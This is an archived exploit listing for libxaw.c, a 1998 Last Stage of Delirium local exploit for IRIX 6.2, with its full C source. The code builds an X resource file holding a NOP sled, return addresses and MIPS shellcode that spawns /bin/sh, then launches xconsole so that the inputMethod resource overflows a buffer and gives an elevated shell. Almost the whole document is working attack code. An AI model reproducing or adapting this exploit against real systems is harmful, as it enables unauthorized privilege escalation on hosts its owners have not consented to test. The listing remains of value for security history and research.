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libxaw.c

libxaw.c
Posted Sep 7, 2000
Site lsd-pl.net

libxaw.so inputmethod local exploit for irix 6.2.

tags | exploit, local
systems | irix
SHA-256 | 356a8d6b331d9f92665ee9be6d8339e4765c5517109d264bcdafd148614a7dad

libxaw.c

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/*## copyright LAST STAGE OF DELIRIUM nov 1998 poland        *://lsd-pl.net/ #*/
/*## libxaw.so inputmethod #*/

#include <fcntl.h>

#define NOPNUM 500
#define ADRNUM 500
#define PCHNUM 500

char shellcode[]=
"\x04\x10\xff\xff" /* bltzal $zero,<shellcode> */
"\x24\x02\x03\xf3" /* li $v0,1011 */
"\x23\xff\x01\x14" /* addi $ra,$ra,276 */
"\x23\xe4\xff\x08" /* addi $a0,$ra,-248 */
"\x23\xe5\xff\x10" /* addi $a1,$ra,-240 */
"\xaf\xe4\xff\x10" /* sw $a0,-240($ra) */
"\xaf\xe0\xff\x14" /* sw $zero,-236($ra) */
"\xa3\xe0\xff\x0f" /* sb $zero,-241($ra) */
"\x03\xff\xff\xcc" /* syscall */
"/bin/sh"
;

char jump[]=
"\x03\xa0\x10\x25" /* move $v0,$sp */
"\x03\xe0\x00\x08" /* jr $ra */
;

char nop[]="\x24\x0f\x12\x34";

main(int argc,char **argv){
char buffer[10000],adr[4],pch[4],*b,*envp[2];
int i,fd;

printf("copyright LAST STAGE OF DELIRIUM nov 1998 poland //lsd-pl.net/\n");
printf("libxaw.so inputmethod for irix 6.2 IP:17,19,20,21,22\n\n");

if(argc!=2){
printf("usage: %s xserver:display\n",argv[0]);
exit(-1);
}

*((unsigned long*)adr)=(*(unsigned long(*)())jump)()+8300+1000+200+12976;
*((unsigned long*)pch)=(*(unsigned long(*)())jump)()+8300+500+200+32732;

envp[0]="XENVIRONMENT=resource";
envp[1]=0;

strcpy(buffer,"*text*international: true\n");
strcat(buffer,"*shellext*inputMethod: ");
b=buffer+strlen(buffer);
for(i=0;i<PCHNUM;i++) *b++=pch[i%4];
for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
*b++='\n';

fd=open("resource",O_CREAT|O_WRONLY,0666);
write(fd,buffer,strlen(buffer));
close(fd);

execle("/usr/bin/X11/xconsole","lsd","-display",argv[1],0,envp);
}
/* www.hack.co.za [19 August 2000]*/
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